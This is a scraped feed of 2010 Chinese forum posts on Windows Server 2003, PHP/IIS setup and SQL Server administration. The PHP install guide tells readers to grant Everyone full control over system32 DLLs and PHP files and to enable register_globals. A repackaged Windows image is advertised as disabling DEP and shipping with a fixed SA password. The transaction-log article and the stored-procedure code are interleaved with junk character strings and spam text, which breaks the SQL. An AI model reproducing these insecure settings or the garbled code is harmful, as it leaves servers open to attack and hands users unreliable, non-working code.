]]>
PHP論壇for Windows安裝http://www.xinguifushi.cn/bbs/dispbbs.asp?BoardID=67&ID=2526&Page=1wangxinxin2010-12-13 13:26:35

 

 

準備工作:
1.一臺系統為Windows Server版的計算機(我這里用的是Windows Server 2003 EE)
PHP論壇for Windows安裝 - Windows=
步驟:
1.將TCP/IP參數配置如下,并運行“sysocmgr /i:sysoc.inf”,打開Windows組件向導
PHP論壇for Windows安裝 - Windows=
2.勾上DNS和IIS點確定安裝
PHP論壇for Windows安裝 - Windows=
PHP論壇for Windows安裝 - Windows=
3. 安裝PHP
PHP我用的是PHP5.1.4版,所有工具都已經打包,將PHP5.1.4壓縮包解壓縮至E盤的根目錄,改名為PHP,即 E:\PHP,并設置安全權限為Everone完全控制
PHP論壇for Windows安裝 - Windows=
4.將E盤PHP目錄下的16個.dll文件拷貝到C:\WINDOWS\system32目錄下,同時將PHP目錄中ext子目錄中的所有的文件也拷貝到 C:\WINDOWS\system32目錄下(我這里就搜索E:\PHP下的*.dll全部復制到C:\WINDOWS\system32下),設置權限為Everone完全控制
PHP論壇for Windows安裝 - Windows=
5.將PHP目錄中的PHP.exe PHP-win.exe PHP.ini-dist三個文件拷貝到C盤windows的目錄下,(如果是Win2000系統,應為C 盤的WINNT目錄下),將PHP.ini-dis改名為PHP.ini,設置權限為Everone完全控制
PHP論壇for Windows安裝 - Windows=
6.打開C:\windows下的PHP.ini,查找register_globals = off  改off為on
PHP論壇for Windows安裝 - Windows=
7.查找extension_dir =  將路徑指向PHP目錄中的ext目錄(即E:\PHP\ext)
PHP論壇for Windows安裝 - Windows=
8.查找下列語句,將其前面的 ; 符號去掉。這些語句幾乎是挨著的,不用逐個查找
;extension=php_dbase.dll
;extension=php_gd2.dll (用來支持GD庫,所以必須去掉)
;extension=php_ldap.dll
;extension=php_mbstring.dll (如果不去掉的話phpmyadmin會有紅色的提示)
;extension=php_mssql.dll  (支持MSSQL數據庫)
;extension=php_mysql.dll  (支持MYSQL數據庫)
最后保存即可
PHP論壇for Windows安裝 - Windows=
9.配置DNS服務,目的就是為了用主機頭,讓一臺服務器多放幾個站,先新建一個站,并新建兩條A記錄如下
PHP論壇for Windows安裝 - Windows=
PHP論壇for Windows安裝 - Windows=
10.打開IIS 管理器,把Web服務擴展全部起用
PHP論壇for Windows安裝 - Windows=
11. 打開 “網站屬性” ,“進入“ISAPI篩選器”,點擊 “添加”――篩選器名稱:PHP,可執行文件:E:\php\php5isapi.dll (盤符不同路徑也不同)
PHP論壇for Windows安裝 - Windows=
12. 回到“主目錄”――執行權限為 “純腳本”――配置――映射――添加――可執行文件:E:\php\php5isapi.dll擴展名:.php(可千萬不要忘記那個小點)
PHP論壇for Windows安裝 - Windows=
13. 回到“文檔”添加一個 index.php,不然就無法訪問主頁了
PHP論壇for Windows安裝 - Windows=
14.重起IIS服務,再打開“ISAPI篩選器”,可以看到PHP已經加載了,綠色的箭頭向上
PHP論壇for Windows安裝 - Windows=
PHP論壇for Windows安裝 - Windows=
15.安裝MySQL Server 5.0數據庫,按默認即可,需要修改的地方我已經把圖貼出來了
PHP論壇for Windows安裝 - Windows=
PHP論壇for Windows安裝 - Windows=
PHP論壇for Windows安裝 - Windows=
PHP論壇for Windows安裝 - Windows=
PHP論壇for Windows安裝 - Windows=
PHP論壇for Windows安裝 - Windows=
為了安全起見,這里設置了密碼,等下在MySQL管理目錄要修改個文件,把密碼輸進去
PHP論壇for Windows安裝 - Windows=
PHP論壇for Windows安裝 - Windows=
16.這個文件夾下是MySQL管理目錄,等下要配置成一個網站,這里也需要設置權限
PHP論壇for Windows安裝 - Windows=
17.新建一個站(即MySQL管理站)
PHP論壇for Windows安裝 - Windows= 
 
 19.瀏覽MySQL管理站,報一個密碼不對的錯誤,這是正常的
]]>
維護SQL Server的交易日志經驗總結http://www.xinguifushi.cn/bbs/dispbbs.asp?BoardID=67&ID=2525&Page=1wangxinxin2010-12-13 13:21:02
維護SQL Server的交易日志經驗總結  ;d/K'h4{0d#u9@-q

-f0L&s+@(e#Q3x交易日志(Transaction logs)是數據庫結構中非常重要但又經常被忽略的部分。由于它并不像數據庫中的schema那樣活躍,因此很少有人關注交易日志。
"@6V/A;X$v8H1O5Z*r-b2C移動通信,通信工程師的家園,通信人才,求職招聘,網絡優化,通信工程,出差住宿,通信企業黑名單mscbsc 移動通信論壇擁有30萬通信專業人員,超過50萬份GSM/3G等通信技術資料,是國內領先專注于通信技術和通信人生活的社區。+B:C'E%e)w.V t;M
交易日志是針對數據庫改變所做的記錄,它可以記錄針對數據庫的任何操作,并將記錄結果保存在獨立的文件中。對于任何每一個交易過程,交易日志都有非常全面的記錄,根據這些記錄可以將數據文件恢復成交易前的狀態。從交易動作開始,交易日志就處于記錄狀態,交易過程中對數據庫的任何操作都在記錄范圍,直到用戶點擊提交或后退后才結束記錄。每個數據庫都擁有至少一個交易日志以及一個數據文件。 )s4g+])f+g3z9r5Y
$J9Z)\0Z+C8e'y7}
出于性能上的考慮,SQL Server將用戶的改動存入緩存中,這些改變會立即寫入交易日志,但不會立即寫入數據文件。交易日志會通過一個標記點來確定某個交易是否已將緩存中的數據寫入數據文件。當SQL Server重啟后,它會查看日志中最新的標記點,并將這個標記點后面的交易記錄抹去,因為這些交易記錄并沒有真正的將緩存中的數據寫入數據文件。這可以防止那些中斷的交易修改數據文件。 移動通信,通信工程師的家園,通信人才,求職招聘,網絡優化,通信工程,出差住宿,通信企業黑名單8T6f4X$A/K1G
;^5U e7W+s9W&K.C"h#S
維護交易日志
G;s&Z'p!]&\0~5M#Xmscbsc 移動通信論壇擁有30萬通信專業人員,超過50萬份GSM/3G等通信技術資料,是國內領先專注于通信技術和通信人生活的社區。
;d*@)x9N9}&r4{)q+L&q&Awww.mscbsc.com因為很多人經常遺忘交易日志,因此它也會給系統帶來一些問題。隨著系統的不斷運行,日志記錄的內容會越來越多,日志文件的體積也會越來越大,最終導致可用磁盤空間不足。除非日常工作中經常對日志進行清理,否則日志文件最終會侵占分區內的全部可用空間。日志的默認配置為不限容量,如果以這種配置工作,它就會不斷膨脹,最終也會占據全部可用空間。這兩種情況都會導致數據庫停止工作。 www.mscbsc.com8o8\1X,k)P.r2W

0}(`,V:] S Q移動通信,通信工程師的家園,通信人才,求職招聘,網絡優化,通信工程,出差住宿,通信企業黑名單對交易日志的日常備份工作可以有效的防止日志文件過分消耗磁盤空間。備份過程會將日志中不再需要的部分截除。截除的方法是首先把舊記錄標記為非活動狀態,然后將新日志覆蓋到舊日志的位置上,這樣就可以防止交易日志的體積不斷膨脹。如果無法對日志進行經常性的備份工作,最好將數據庫設置為"簡單恢復模式"。在這種模式下,系統會強制交易日志在每次記錄標記點時,自動進行截除操作,以新日志覆蓋舊日志。 移動通信,通信工程師的家園,通信人才,求職招聘,網絡優化,通信工程,出差住宿,通信企業黑名單!Q j8E,p1v

-y-f,w,s#n |  國內領先的通信技術論壇截除過程發生在備份或將舊標記點標為非活動狀態時,它使得舊的交易記錄可以被覆蓋,但這并不會減少交易日志實際占用的磁盤空間。就算不再使用日志,它依然會占據一定的空間。因此在維護時,還需要對交易日志進行壓縮。壓縮交易日志的方法是刪除非活動記錄,從而減少日志文件所占用的物理硬盤空間。
3w5z)E0R!u9E3J |  國內領先的通信技術論壇
"a1w!o8\;o+l-Z1v通過使用DBCC SHRINKDATABASE語句可以壓縮當前數據庫的交易日志文件,DBCC SHRINKFILE語句用來壓縮指定的交易日志文件,另外也可以在數據庫中激活自動壓縮操作。當壓縮日志時,首先會將舊記錄標記為非活動狀態,然后將帶有非活動標記的記錄徹底刪除。根據所使用的壓縮方式的不同,你可能不會立即看到結果。在理想情況下,壓縮工作應該選在系統不是非常繁忙的時段進行,否則有可能影響數據庫性能。 MSCBSC 移動通信論壇&b'x4J8l;G:m,C#M2h
|  國內領先的通信技術論壇%Z6z8r4s%U4A'F6W
恢復數據庫 www.mscbsc.com8H._(s7T,s+@;Y(Q6K8f
www.mscbsc.com;f/W*j.r"`#u$W J'n$~0?
交易記錄備份可以用來將數據庫恢復到某一指定狀態,但交易記錄備份本身不足以完成恢復數據庫的任務,還需要備份的數據文件參與恢復工作。恢復數據庫時,首先進行的是數據文件的恢復工作。在整個數據文件恢復完成前,不要將其設為完成狀態,否則交易日志就不會被恢復。當數據文件恢復完成,系統會通過交易日志的備份將數據庫恢復成用戶希望的狀態。如果在數據庫最后一次備份后,存在多個日志文件的備份,備份程序會按照它們建立的時間依次將其恢復。
2R)y)l1r.~9{4V2U+c/H%r1Ymscbsc 移動通信論壇擁有30萬通信專業人員,超過50萬份GSM/3G等通信技術資料,是國內領先專注于通信技術和通信人生活的社區。
4J+D%}/y8e+K;I:y.F |  國內領先的通信技術論壇另一種被稱為log shipping的過程可以提供更強的數據庫備份能力。當log shipping配置好后,它可以將數據庫整個復制到另一臺服務器上。在這種情況下,交易日志也會定期發送到備份服務器上供恢復數據使用。這使得服務器一直處于熱備份狀態,當數據發生改變時它也隨之更新。另一個服務器被稱作監視(monitor)服務器,可以用來監視按規定時間間隔發送的shipping信號。如果在規定時間內沒有收到信號,監視服務器會將這一事件記錄到事件日志。這種機制使得log shipping經常成為災難恢復計劃中使用的方案。(T004)
]]>
石頭網絡科技Windows 2003 EE SP2 SQL數據庫集成版 A1.1http://www.xinguifushi.cn/bbs/dispbbs.asp?BoardID=67&ID=2524&Page=1wangxinxin2010-12-13 13:17:15系統特點
一、本系統以微軟MSDN原版為基礎,集成了安全漏洞補丁和系統組件更新,進行了科學合理的優化,從根本上保證了系統的安全性和穩定性!
二、本系統未經過任何精簡或者“減肥”,系統本身自帶的所有文件和組件都完整無缺,基本上百分百達到微軟原版系統的兼容性,不像其它修改版WIN2003那樣存在各種兼容性問題!
三、本系統既可以光盤安裝,也可以硬盤安裝;既可以自動安裝,也可以手動安裝;既可以在DOS下裝,也可以在WINDOWS或者WINPE下裝。完全支持目前最新的64位和多核CPU平臺,并且集成超大容量的SCSI、RAID、SATA磁盤控制器驅動,可以完美支持各種串口,并口硬盤和硬盤陣列。
四、本系統僅集成了瀏覽網頁必裝的Adobe Flash Player ActiveX控件,未集成任何第三方軟件,是完全純凈的版本。本系統絕對不存在任何垃圾插件或者流氓軟件,也不象某些“商業化”系統那樣,要么存留各種后門,要么以修改默認搜索引擎或者強制綁定主頁的方式來愚弄用戶。本系統是安全、干凈的系統,可以放心使用
系統介紹
一、本系統以追求穩定性、易用性和兼容性為前提,只進行了適當和必要的優化,包括:打開網頁認證碼;調整IE同時下載線程數為10;自動終止無響應程序,加快系統關機速度;徹底關閉Dr.WatSon;當系統失敗時,不將事件寫入系統日志,不發送管理警報,不寫入調試信息,不重新啟動;安裝驅動時不搜索WindowsUpdate;當文件沒有關聯的打開程序時,禁止從網絡上搜索打開類型;在桌面上顯示“我的電腦/網上鄰居/我的文檔/IE瀏覽器”;記事本默認自動換行;刪除圖標快捷方式的字樣;關閉信使服務;禁用錯誤報告;禁止遠程注冊表服務和遠程修改注冊表;關閉時間同步;退出程序時自動清理內存中的DLL文件;關閉關機事件追蹤;禁用Ctrl+Alt+Del三鍵登錄;打開顯卡硬件加速和Direct3D加速;打開主題服務;打開聲音服務;破解Tcpip的最大半開連接數為65536;破解第三方主題限制;添加視頻解碼組件;添加DirectX音樂組件和控制面板組件;添加用戶帳號控制面板;關閉數據執行保護;對雙核CPU平臺進行性能優化。

二、無論采用哪種安裝方式,安裝前請務必對硬盤進行殺毒。本光盤絕對不會包含任何病毒、木馬或者流氓軟件,作者可以保證在裝好系統之后,系統是完全干凈的。
三、本系統集成了SQL SERVER2000數據庫和SP4補丁,數據庫SA密碼為XPSTONE,請安裝后自行修改數據庫密碼,系統并已安裝好IIS組件,讓您安裝更快速,更省心
但是這不代表安裝完成的系統不會被病毒感染。特別是如果原來的舊系統已經中毒了,硬盤上面有病毒或者木馬文件,那么安裝之后新系統受感染的危險性很大。因此作者建議在安裝過程中拔掉網線,系統裝好之后先裝殺毒軟件和防火墻,再對硬盤上的分區或文件進行訪問。
]]>
數據庫事務控制的實現位置:服務器VS客戶端,請大家討論http://www.xinguifushi.cn/bbs/dispbbs.asp?BoardID=67&ID=2523&Page=1wangxinxin2010-12-13 13:13:08這段時間開始有幸學習了ado.net訪問數據庫的一些內容。我開始思考一個有關數據庫事務控制的問題。ado.net中的SqlTransaction 類可以為數據庫訪問提供事務的支持。你可以打開一個數據庫聯接,然后在這個聯接上啟動一個事務(啟動事務相當于T-SQL的begin transaction語句),在這個啟動了事務的數據庫聯接上你可以添加并執行若干數據庫訪問命令,然后根據命令的執行情況決定提交或者回滾事務。這使得通過ado.net訪問數據庫的應用程序可以實現數據庫的事務控制。

另一方面,T-SQL同樣提供了數據庫的事務控制,這是眾所周知的。通常,數據庫設計人員常說,把數據的訪問控制放在離數據最近的地方才是最安全的,比如我們設計數據庫時,在數據表上實現的唯一約束、check約束、觸發器等等都是基于這種設計思想的。類似ado.net這種的數據庫訪問技術也提供了對數據庫事務的支持,但是按照“把數據的訪問控制放在離數據最近的地方才是最安全的”的思想,我們有更好的選擇方式。比如,我們可以設計數據庫存儲過程,由存儲過程提供事務控制,并只允許數據庫客戶端訪問數據庫時去執行存儲過程。這樣一來,似乎就沒有使用ado.net、ado、oledb等等這些數據庫訪問技術提供的支持事務的API接口的必要了。但是,我想未必是這樣的,既然有這些API接口存在,肯定是有它的必要性的。

我現在想讓大家討論一下,你們在實際應用中使用過某種數據庫訪問技術的事務功能嗎?這種應用是在什么請況下比較有價值呢?]]>
SQL Server 2005全文檢索技術http://www.xinguifushi.cn/bbs/dispbbs.asp?BoardID=67&ID=2522&Page=1wangxinxin2010-12-13 13:11:561.  前言
7 N) U. z& C# O/ k2 f/ X" T( X  ]: a8 N6 O0 \
    1.1 應用背景 6 I+ x/ V  e+ ?9 k% C" @
  D$ x8 ^; i: n5 ]
隨著我國zhengfu和企業信息化的快速普及和發展,來自于供應鏈、企業生產系統、辦公自動化(或公文行文)系統、人事績效系統、財務管理系統等無一不在積累著各類數據。不僅如此,來自于企業門戶網站、通過各種手持移動設備傳遞的會議通知、保存在業務員筆記本和PDA中的離線產品報價和短期個人銷售信息也不一而足。可以說信息無處不在、無時不在、無設備不在,但是它們是否可以在您的手中,即zhengfu和企業的信息系統是否可以把員工需要的信息呈送到他們的指尖之下,這恐怕是另一回事了。信息化普遍實施后,數據獲取方式、獲取手段的局限,是國內信息化建設主要面臨的尷尬現狀。 6 Z9 F& r6 K3 D& F

圖片點擊可在新窗口打開查看

圖1:Your Data,Any Where、Any Time、Any Device. But not on your finger.

    1.2 主要檢索技術的區別
) s- d; p) S3 f1 d7 M* @& F$ m0 C. B% @7 h
    有了數據但是沒有被使用,那么這些數據不應該被稱為信息。它們無非是不斷充斥設備和網絡的比特而已,但是如何把數據提供給必要的人員,檢索技術是其中非常有效的途徑之一。本文筆者主要基于微軟平臺,針對SQL Server 2005提供的全文檢索技術進行介紹。與關系數據查詢、多維數據庫查詢和基于XML的XQuery、XPath不同,全文檢索技術主要處理對象是基于超大數據量的文本數據和結構化的二進制數據上類似LIKE的模糊查詢。主要區別見下表。  

關系數據庫查詢 多維數據查詢 XML查詢 全文檢索
檢索技術 SQL MDX XQuery、XPath SQL (extension)
主要處理對象 關系二維數據 結構化多維數據 層次型數據 大容量二維和層次型數據的模糊檢索
主要應用領域 一般的OLTP類應用 一般的OLAP類分析型應用 面向Internet、Intranet的松散耦合SOA應用 企業內部知識管理類應用
索引 大量使用非聚簇索引,一般保存在數據庫中。 通過層次型、保存中間結果的方式,通過不同的軸向快速定位信息剖面。 基于XPath的索引,索引一般保存在數據庫中。 基于關鍵字的索引,保存在文件系統中。每個表僅支持一個索引。

表1:全文檢索與關系數據庫查詢、多維數據查詢、XML查詢的對比

]]>
c#本地和遠程連接數據庫SQLhttp://www.xinguifushi.cn/bbs/dispbbs.asp?BoardID=67&ID=2521&Page=1wangxinxin2010-12-13 13:10:54SQlserver組->新建sqlserver注冊->下一步->寫入遠程IP->     下一步->選Sqlserver登陸-

         >下一步->寫入登陸名與密碼(sa,password)->下一 步->下一步->完成 查詢分析器->文件->連接->寫

        入遠程IP->寫入登錄名和密碼(sa,password)->確     定
         通常建議在查詢分析器里做,因為默認情況下,通過企業管理器注冊另外一臺SQL Server的超時設置

         是4秒,而查詢分析器是15秒。
       修改默認連接超時的方法:
        企業管理器->工具->選項->在彈出的"SQL Server企業管理器屬性"窗口中,點擊"高級"選項卡->連接設

         置->在登錄超時(秒) 后面的框里輸入一個較大的數字
       查詢分析器->工具->選項->連接->在登錄超時(秒) 后面的框里輸入一個較大的數     字
         通常就可以連通了,如果提示錯誤,則進入下一步。

]]>
SQL高級使用數據庫http://www.xinguifushi.cn/bbs/dispbbs.asp?BoardID=67&ID=2520&Page=1wangxinxin2010-12-13 13:08:33SQL高級使用
SELECT高級查詢
錯誤處理
事務處理
數據的鎖定
游標
1.SELECT高級查詢
前面已經介紹了SELECT語句的用法,本節主要介紹數據匯總、聯接查詢、子查詢和關鍵詞UNION的使用。
(1)數據匯總
為決策支持系統生成聚合事務的匯總報表是一項復雜并且相當消耗資源的工作。SQL Server 2000提供兩個靈活且強大的組件,用于生成SQL Server 2000 Analysis Services。這些組件是程序員在執行SQL Server數據的多維分析時應當使用的主要工具。這兩個組件為:
    數據轉換服務(DTS)。DTS支持提取事務數據并將這些數據轉換到數據倉庫或數據集合中的匯總聚合中。
    MS SQL Server Analysis Services。這組組件將數據倉庫中的數據組織到含有預先計算好的匯總信息的多維數據集中,以對復雜的分析查詢提供快速響應。Analysis Services還提供一套向導,用于定義分析處理過程中所用的多維結構,并提供用于管理分析結構的Microsoft管理控制臺管理單元。
但是對于生成簡單匯總報表的應用程序,可使用下列T-SQL元素:
    CUBE或ROLLUP運算符。這兩者均是SELECT語句的GROUP BY子句的一部分。
    COMPUTE或COMPUTE BY運算符。這兩者也與GROUP BY相關聯。
下面介紹使用生成匯總報表的語句。
a.聚合函數
數據庫的一個最大的特點是將各種分散的數據按照一定規律、條件進行分類組合,最后得出統計結果。SQL Server提供了聚合函數,用于完成一定的統計功能。常用的函數如下表:
AVG:求平均值
COUNT:返回組中項目的數量,返回值為int類型
COUNT_GIG:返回組中項目的數量,返回值為bigint類型
MAX:求最大值
MIN:求最小值
SUM:求和
STDEV:計算統計標準偏差
VAR:統計方差
VARP: 填充統計方差
聚合函數對一組值計算并返回單一的值。除COUNT外,聚合函數忽略空值。聚合函數僅在下列項中允許作為表達式使用:
    SELECT語句的選擇列表(子查詢或外部查詢)
    COMPUTE或COMPUTE BY子句
    HAVING子句
如:
USE bookdb
GO
SELECT COUNT(address) FROM authors
GO
執行結果:2
USE bookdb
GO
SELECT MAX(price) FROM book
GO
執行結果:45.0
b.GROUP BY子句
GROUP BY子句用來為結果集中的每一行產生聚合值,即對結果集進行分組。如果聚合函數沒有使用此子句,則只為SELECT語句報告一個聚合值。指定GROUP BY時,選擇列表中任一非聚合表達式內的所有列都應包含在GROUP BY列表中,或者GROUP BY表達式必須與選擇列表表達式完全匹配。
GROUP BY語法格式:
[GROUP BY [ALL]group_by_expression[,...n]
[WITH {CUBE | ROLLUP} ]
]
參數說明:
    ALL:表示對所有列和結果集(包括不滿足WHERE子句的列)進行分組。但是ALL關鍵字不支持遠程表查詢。對組中不滿足搜索條件的匯總列將返回空值。
    group_by_expression:對其執行分組的表達式,也稱為分組列。在選擇列表內定義的列的別名不能用于指定分組列;text、ntext和image類型的列不能用于分組列。
    CUBE:指定在結果集內不僅包含由GROUP BY提供的正常行,還包含匯總行。創建所有可能的分組,然后對這些組進行合計。
    ROLLUP:指定在結果集內不僅包含由GROUP BY提供的正常行,還包含匯總行。從最低到最高進行分組,然后對這些組進行合計。
注意:使用CUBE或ROLLUP時,不支持區分合計,如AVG(DISTINCT column_name)、COUNT(DISTINCT column_name)和SUM(DISTINCT column_name)。如果使用這類聚合,SQL Server將返回錯誤信息并取消查詢。
例:表a2如下:
No name coop qty
---------------------
1 c1 mac1 1.0
2 c2 mac2 2.0
3 c1 mac2 3.0
4 c3 mac1 4.0
5 c2 mac1 5.0
6 c1 mac2 6.0
(6 row(s) affected)

執行語句:
select name,coop,sum(qut) as sumqut from a2 group by name,coop with cube
name  coop sumqut
-------------------------
c1    mac1 1.0
c1    mac2 9.0
c1    NULL 10.0       //前面二行的匯總
c2    mac1 5.0
c2    mac2 2.0
c2    NULL 7.0       //前面二行的匯總
c3    mac1 4.0
c3    NULL 4.0       //前面一行的匯總
NULL  NULL 21.0      //前面各行的匯總
NULL  mac1 10.0    //前面所有mac1的匯總
NULL  mac2 11.0    //前面所有mac2的匯總
(11 row(s) affected)
使用CUBE可以計算NAME字段中及其所有客戶(以NULL表示)分別訂購的總量,還會統計字段中各種品種的訂購總量。
ROLLUP參數則會依據GROUP BY后面所列第一個字段作匯總運算。
如執行語句:
select name,coop,sum(qut) as sumqut from a2 group by name,coop with rollup
name coop sumqut
--------------------
c1 mac1 1.0
c1 mac2 9.0
c1 NULL 10.0      //前面二行的匯總
c2 mac1 5.0
c2 mac2 2.0
c2 NULL 7.0      //前面二行的匯總
c3 mac1 4.0
c3 NULL 4.0      //前面一行的匯總
NULL NULL 21.0      //前面各行的匯總
(9 row(s) affected)
c.HAVING子句
HAVING子句指定或合計的搜索條件,HAVING通常與GROUP BY子句一起使用。如果不使用GROUP BY子句,HAVING的作用與WHERE子句一樣。但是聚合函數可以在HAVING子句中使用,而不能在WHERE子句中使用。
語法格式為:[HAVING <search_condition>]
其中<search_condition>指定組或聚合應滿足的條件。當HAVING與GROUP BY ALL一起使用時,HAVING子句替代ALL。
注意:在HAVING子句中不能使用text、image和ntext數據類型。另外,在SELECT語句中使用HAVING子句不影響CUBE運算符分組結果集和返回匯總局聚合行的方式。
如:
select bame,coop,sum(qty) from a2 group by name,coop with cube having sum(qty)>3
d.COMPUTE和COMPUTE BY子句
SQL Server2000提供COMPUTE和COMPUTE BY是為了保持向后兼容。如果不考慮兼容的問題,則應使用Analysis Services和用于Analysis Services的OLE DB或多維的ActiveX數據對象或ROLLUP運算符。
語法格式如下:
[COMPUTE aggregate_func(column_name),[...n] [BY column_name]...]
其中:
    aggregate_func:為上面的聚合函數之一,如果沒有,則等同于COUNT(*)函數。
    column_name:對其執行計算的列名,且在選擇列表中出現。
如果使用COMPUTE BY,則必須使用ORDER BY子句。
例1:select * from a2 compute sum(qty)
No name coop qty
---------------------------------------------------
1 c1 mac1 1.0
2 c2 mac2 2.0
3 c1 mac2 3.0
4 c3 mac1 4.0
5 c2 mac1 5.0
6 c1 mac2 6.0
sum
=====================================================
21.0
例2:select * from a2 order by name compute sum(qty) by name
由上面的結果可以看到,COMPUTE所生成的匯總值在查詢結果中顯示為分離的結果集。包括COMPUTE子句的查詢結果類似于控制中斷報表,即匯總值由指定的組(或稱中斷)控制的報表。可以為各組生成匯總值,也可以對同一組計算多個聚合函數。如在例2中的計算子句中加入,avg(qty),sum(no)等。
例:顯示含有年初至今銷售額的行,然后按type以遞減順序計算書籍的平均價格和預付款總額。將返回四個數據列,包括截斷的書名。所有的計算列都將出現在選擇列表內。
程序清單如下:
USE pubs
SELECT CAST(title AS char(20)) AS title,type,price,advance FROM titles
WHERE ytd_sales IS NOT NULL
ORDER BY type DESC
COMPUTE AVG(price),SUM(advance) BY type
COMPUTE SUM(price),SUM(advance)
COMPUTE與GROUP BY的區別
    GROUP BY生成單個結果集。每個組都有一個只包含分組依據列和顯示該組子聚合的聚合函數的行。選擇列表只能包含分組依據列和聚合函數。
    COMPUTE生成多個結果集。一類結果集包含每個組的明細行,其中包含選擇列表中的表達式。另一類結果集包含組的子聚合,或SELECT語句的總聚合。選擇列表可包含除分組依據列或聚合函數之外的其他表達式。聚合函數在COMPUTE子句中指定,而不是在選擇列表中。
e.聯接查詢
通過聯接,可以根據各個表之間的邏輯關系從兩個或多個表中檢索數據。聯接表示系統應如何使用一個表中的數據來選擇另一個表中的行。
聯接條件通過以下方法定義兩個表在查詢中的關聯方式:
    指定每個表中要用于聯接的列。典型的聯接條件在一個表中指定外鍵,在另一個表中指定與其關聯的健。
    指定比較各列的值時要使用的邏輯運算符(=、<>等)。
可在FROM或WHERE子句中指定聯接。聯接條件與WHERE和HAVING搜索條件組合,用于控制FROM子句引用的基表中所選定的行。
簡單的子句聯接語法如下:
FROM first_table join_tye second_table [ON(join_condition)]
其中join_tye指定所執行的聯接類型,有內聯接、外聯接或交叉聯接。join_condition定義要為每對聯接折行選取的謂詞。
例:與外健表相聯接。
   
        
            
            
設表student為:
            
no   name   addr   t_no
            -----------------------
            001   s1    sss    501
            002   s2    ttt    502
            003   s3    uuu    501
            004   s4    vvv    503
            005   s5    www    602
            006   s6    xxx    601
            
            
            
設表teacher為:
            
no   name   sala
            -----------------------
            501   t1    100
            502   t2    200
            503   t3    300
            504   t4    400
            505   t5    500
            506   t6    600
            
        
   

select a.no,a.name,a.addr,b.name from student a join teacher b on(a.t_no=b.no)
no   name   addr   name
-----------------------
001   s1    sss    t1
002   s2    ttt    t2
003   s3    uuu    t1
004   s4    vvv    t3

(4 row(s) affected)
    內聯接
內聯接是用比較運算符比較要聯接列的值的聯接。內聯接使用INNER JOIN關鍵詞,上面的查詢也可以使用下面語句完成:
select a.no,a.name,a.addr,b.name from student a inner join teacher b on(a.t_no=b.no)
一般地,要做內聯接的兩個或多個表之間若存在著主鍵盤和外鍵的關系時,將這些鍵的關系列出即可得到表的聯接結果。
    外聯接
僅當至少有一個同屬于兩個表的行符合聯接條件時,內聯接才返回行。因此內聯接消除與另一表中的任何不匹配的行。而外聯接會返回FROM子句中提到的至少一個表或視圖的所有行,只要這些行符合任何WHERE或HAVING搜索條件。將檢索通過左向外聯接引用的左表的所有行,以及通過右向外聯接引用的右表的所有行。完整外部聯接中兩個表的所有行都將返回。
系統對在FROM子句中指定的外聯接使用以下關鍵字:
LEFT OUTER JOIN或LEFT JOIN(左向外聯接)
RIGHT OUTER JOIN或RIGHT JOIN(右向外聯接)
FULL OUTER JOIN或FULL JOIN(完整外部聯接)
左向外聯接:包括第一個表(左表,在JOIN子句的左邊)中的所有行,不包括右表中不匹配的行。
如由上面的表student和teacher,執行:
]]>
獲取SQL Server數據庫里表占用容量大小http://www.xinguifushi.cn/bbs/dispbbs.asp?BoardID=67&ID=2519&Page=1wangxinxin2010-12-13 13:02:133 U% E8 y1 T) I$ O# N  $ I4 B' F7 G  Z* ]! [
  如:sp_spaceused 'tablename'7 t0 P- Y! g# Q  l( z6 V+ t+ t
  
( F! n! ?; w# ?+ w  以下是為了方便寫的一個存儲過程,目的是把當前的所有表的相關信息全部都保存在一個指定的表里面
4 |' |* @8 n& m+ R' S+ H  . G9 S- j2 E- }( T
  CREATE PROCEDURE get_tableinfo AS0 ~: d% ^: x( @: `& ~2 n) R% }3 y7 y
  
2 I- l$ @4 T. b1 a0 X0 P7 n, U  if not exists (select * from dbo.sysobjects where id =object_id(N'[dbo].[tablespaceinfo]') and OBJECTPROPERTY(id,N'IsUserTable') = 1)6 r5 P: p0 T) z6 ]1 e2 ~
  create table tablespaceinfo             --創建結果存儲表1 m- M6 q6 V" v( t8 ~/ p
  (nameinfo varchar(50) ,
4 @# X2 M4 X0 ?) ~# }# L  B, x  rowsinfo int , reserved varchar(20) ,# q6 R; u6 X' M2 p0 F+ o
  datainfo varchar(20) ,9 {. `# X" Q- C* }( e
  index_size varchar(20) ,
% _9 O& v5 r7 u; q4 L7 Y  G  unused varchar(20) )
) b/ K4 J8 \& X; P; W5 L  + }& f3 b6 S8 i
  delete from tablespaceinfo --清空數據表: {* Q5 K1 U; h) i* H6 Z: n9 l
  
9 f7 s6 y6 x/ n9 F/ D2 M% n/ J  declare @tablename varchar(255) --表名稱
  V$ C& u& G$ Q! w, L/ J' O/ k  
: Z( b8 T4 @5 B5 a; i  declare @cmdsql varchar(500)
4 W3 _, L# L; F8 q( ~( W  
  J% j5 r. E, x' V  DECLARE Info_cursor CURSOR FOR
% |, _) c/ l+ Y) p$ T0 O  select o.name$ g9 c; ~) Q/ |" v
  from dbo.sysobjects o where OBJECTPROPERTY(o.id, N'IsTable') = 1
1 ?5 p) X& B( d" z6 C  J  and o.name not like N'#%%' order by o.name
# b, J1 ^* ]6 [  , A; F1 u+ @$ Y# n! {+ ]  a/ i/ w
  OPEN Info_cursor
. ?9 |7 x; _2 c+ K2 ]. S4 \    k3 @/ H8 C  f. m) U
  FETCH NEXT FROM Info_cursor
1 T+ d- U- U  D! J! K+ g! i  INTO @tablename
* t7 I' M+ s  e9 t- r  
0 t3 y* A% q* {, j! I) Y4 e/ m  WHILE @@FETCH_STATUS = 0
/ X1 L/ _$ L7 j2 Q  BEGIN; a$ p* @) ]$ Z$ \6 N3 _, O
  
0 C) E# b6 V5 x: a1 {; I) H  if exists (select * from dbo.sysobjects where id = object_id(@tablename) and OBJECTPROPERTY(id, N'IsUserTable') = 1)+ x0 P) `& A8 F. f
  execute sp_executesql+ S% ?9 T' Z" _, C
  N'insert into tablespaceinfo exec sp_spaceused @tbname',9 p  h4 n) g0 L% i: ?
  N'@tbname varchar(255)',) n( _! ?5 g% }4 b0 }6 n, c
  @tbname = @tablename/ V$ b3 f0 q. i3 I/ ~
  * @" Q# O4 o0 P6 ]) s" U3 i
  FETCH NEXT FROM Info_cursor" z% K3 O3 D$ n) J; A4 k+ p% X
  INTO @tablename
2 a, w* c- b' o  END
. r! Q4 {( O) \  2 \: [4 R* b6 P* Q) z$ Q7 B' K  ?9 a2 l
  CLOSE Info_cursor
" L$ l9 f4 H  p7 [& f9 [8 z$ Y  DEALLOCATE Info_cursor  P4 U/ H% M7 e1 U8 v* a. B
  GO+ x! `/ L+ l4 q7 M9 Q. F4 m9 B
